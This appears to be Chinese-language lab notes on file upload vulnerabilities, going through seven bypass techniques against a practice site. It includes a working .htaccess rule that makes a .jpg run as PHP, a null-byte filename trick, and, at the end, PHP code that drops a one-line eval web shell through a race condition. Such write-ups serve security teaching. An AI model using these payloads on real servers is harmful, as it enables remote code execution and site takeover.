文件上传漏洞
01-前端JS过滤绕过
function checkFile() {
var file = document.getElementsByName('upfile')[0].value;
if (file == null || file == "") {
alert("你还没有选择任何文件,不能上传!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.jpeg|.png|.gif|.bmp|";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//alert(ext_name);
//alert(ext_name + "|");
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
代码审计:允许上传的文件类型.jpg|.jpeg|.png|.gif|.bmp|,没有php,的后缀名
上传一个.jpg
02-文件名过滤绕过
修改文件后缀muma1.jpg,找到路径
上传成功
03-Content-Type过滤绕过
把原来的content-type修改为image/jpeg
04-文件头过滤绕过
头部添加GIF89a
05-.htaccess文件上传
.htaccess是伪静态文件,代码中包含将muma4.jpg解析为php,能过被中间件所识别运行
<FilesMatch "muma4.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
06-文件截断上传
由于00代表结束符,所以会把00后面的所有字段删除
截断条件:php版本小于5.4.3,并且PHP中的magic_quotes_gpc为OFF状态
把整个文件名muma5.php换成muma5.php%001.jpg
成功上传
这里出现软件的问题并没又连接成功,%00编码==》转换为url编码,知道大体思路就行
07-条件竞争文件上传
网站是允许任意上传文件的,如果包含WebShell脚本,则立刻删除,当muma6.php执行的时候,就会立刻生成shell.php,虽然muma6.php会被删除,但是纯在一个短的时间差,执行检查文件和删除文件,这时shell.php上传成功
<?php
fputs(fopen('../shell.php','w'),'<?php @eval($_POST[muma])?>');
?>